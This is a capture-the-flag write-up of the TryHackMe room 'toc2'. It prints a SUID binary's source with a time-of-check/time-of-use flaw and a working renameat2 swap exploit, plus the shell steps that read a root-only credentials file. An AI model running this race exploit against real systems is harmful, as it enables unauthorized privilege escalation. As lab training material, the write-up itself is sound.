THM: toc2
toc2
It’s a setup… Can you get the flags in time?.
This is toc2 from THM. It’s medium rated. I mostly want to talk about the privesc, because I hadn’t seen it before.
Foothold
Just a quick note on this; we were given some database credentials and allowed to install a CMS. This was a nice original touch which I appreciated.
Privesc
The privesc uses a race condition vulnerability. We are provided a binary and the source code for it, plus a file only readable by root containing the credentials for the root user. Here’s the source:
frank@toc:~/root_access$ cat -n readcreds.c
cat -n readcreds.c
1 #include <string.h>
2 #include <stdio.h>
3 #include <unistd.h>
4 #include <sys/types.h>
5 #include <fcntl.h>
6 #include <errno.h>
7 #include <stdlib.h>
8
9 int main(int argc, char* argv[]) {
10 int file_data; char buffer[256]; int size = 0;
11
12 if(argc != 2) {
13 printf("Binary to output the contents of credentials file \n ./readcreds [file] \n");
14 exit(1);
15 }
16
17 if (!access(argv[1],R_OK)) {
18 sleep(1);
19 file_data = open(argv[1], O_RDONLY);
20 } else {
21 fprintf(stderr, "Cannot open %s \n", argv[1]);
22 exit(1);
23 }
24
25 do {
26 size = read(file_data, buffer, 256);
27 write(1, buffer, size);
28 }
29
30 while(size>0);
31
32 }
The binary has the SUID bit. The usage is:
frank@toc:~/root_access$ ./readcreds root_password_backup
./readcreds root_password_backup
Cannot open root_password_backup
So the argv[1] variable contains (intially at least) the root_password_backup file and the race condition arises because the variable is used twice: firstly by the access function on line 17, and then again by open on line 19. This gives us a small window to swap the value of the file between the first and second call.
The exploit code we use is:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
This comes from here. Ignore the lograte name in the path of the linked repo; that is similar but not the same as this. All this code does is run the renameat2 system call in a while loop, replacing the contents of file A with file B.
I compiled the exploit code on the box into a binary I called racer.
I created an empty file called ‘a’, and a symlink to the root_password_backup called hax. Then I called the binary:
frank@toc:~/root_access$ ln -s root_password_backup hax
frank@toc:~/root_access$ touch a
frank@toc:~/root_access$ ./racer hax a
Separately:
frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
Cannot open hax
# didn't work this time, but it's constantly flipping
frank@toc:~/root_access$ ls -lash
ls -lash
total 44K
4.0K drwxr-xr-x 2 frank frank 4.0K Feb 5 22:50 .
4.0K drwxr-xr-x 6 frank frank 4.0K Feb 5 22:14 ..
0 -rw-rw-r-- 1 frank frank 0 Feb 5 22:47 a
0 lrwxrwxrwx 1 frank frank 20 Feb 5 22:46 hax -> root_password_backup
4.0K -rw-rw-r-- 1 frank frank 295 Feb 5 22:43 pwn.c
12K -rwxrwxr-x 1 frank frank 8.2K Feb 5 22:47 racer
12K -rwsr-xr-x 1 root root 8.5K Jan 31 17:29 readcreds
4.0K -rw-r--r-- 1 root root 656 Jan 31 12:44 readcreds.c
4.0K -rw------- 1 root root 34 Aug 23 20:40 root_password_backup
frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
Cannot open hax
# nope, still didn't get it
frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
# bingo
Root Credentials: root:REDACTED
This was pretty cool. Similar technique discussed here and here.